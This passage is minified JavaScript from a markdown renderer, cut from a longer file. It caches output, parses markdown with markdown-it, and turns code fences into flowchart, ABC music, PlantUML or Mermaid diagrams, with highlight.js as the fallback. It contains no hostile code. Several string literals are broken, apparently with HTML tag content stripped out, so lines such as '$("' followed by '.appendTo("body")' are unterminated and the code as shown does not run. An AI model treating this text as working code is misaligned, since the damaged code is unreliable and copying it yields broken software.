","time":timeFloat()}},a=!0,s=function s(e,t){var i=x.text.indexOf(t);if(a&&t&&-1!==i)n=x.out[i],_.pullAt(x.text,i),_.pullAt(x.out,i),x.text.push(t),x.out.push(n);else{var n=t;try{n=e.render(t||""),_.each(d,function(e){n=e(n)})}catch(o){}a&&t&&(x.text.length>=x.max&&(x.text.shift(),x.out.shift()),x.text.push(t),x.out.push(n))}return n},d=[],h=function h(e){for(var t={"h1":"heading_open","h2":"heading_open","h3":"heading_open","h4":"heading_open","h5":"heading_open","h6":"heading_open","table":"table_open","blockquote":"blockquote_open","ul":"bullet_list_open","p":"paragraph_open","code":"fence"},i=[],n=markdownit().parse(e,{"references":{}}),o=_.keys(t),a=0;a
"}catch(h){}if(_.includes(["flowchart","flow"],e)){var s=UUID(),r=$("
").appendTo("body"),c={"line-width":1.5,"font-color":"#333","line-color":"#666","element-color":"#666"};try{flowchart.parse(a).drawSVG(s,c);var l=r.html();return r.remove(),''+l+"
"}catch(h){r.remove(),console.info(h)}}if(_.includes(["abc","music"],e)){s=UUID(),r=$("
").appendTo("body"),c={"line-width":1.5,"font-color":"#333","line-color":"#666","element-color":"#666"};try{ABCJS.renderAbc(s,a);l=r.html();return r.remove(),''+l+"
"}catch(h){r.remove(),console.info(h)}}if(_.includes(["plantuml"],e)||_.startsWith(a,"@startuml"))return'';c=u(e),r=u(a);if(c||r||!("seq"==e||"sequence"==e)||(c=!0,e="sequenceDiagram",a=a.replace(/\\n/g,"\\n")),"sequenceDiagram"==e&&(a=p(a)),c||r){var d=a,s=(c&&!r&&(d=e+"\n"+a),UUID());try{return''+(l=mermaid.mermaidAPI.render(s,d))+"
"}catch(h){$("#d"+s).remove(),console.info(h)}}return(0,f["default"])(t.content,e)}};var t=i(214),f=(i=t)&&i.__esModule?i:{"default":i}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(e,t){var i="";return i=((t=(t=t?_.trim(t):"")&&({"js":"javascript","oc":"objectivec"}[t]||t))&&hljs.getLanguage(t)?hljs.highlight(e,{"language":t}):hljs.highlightAuto(e)).value,e.split("\n").length<5?""+i+"
":("\n"==(i=i.replace(/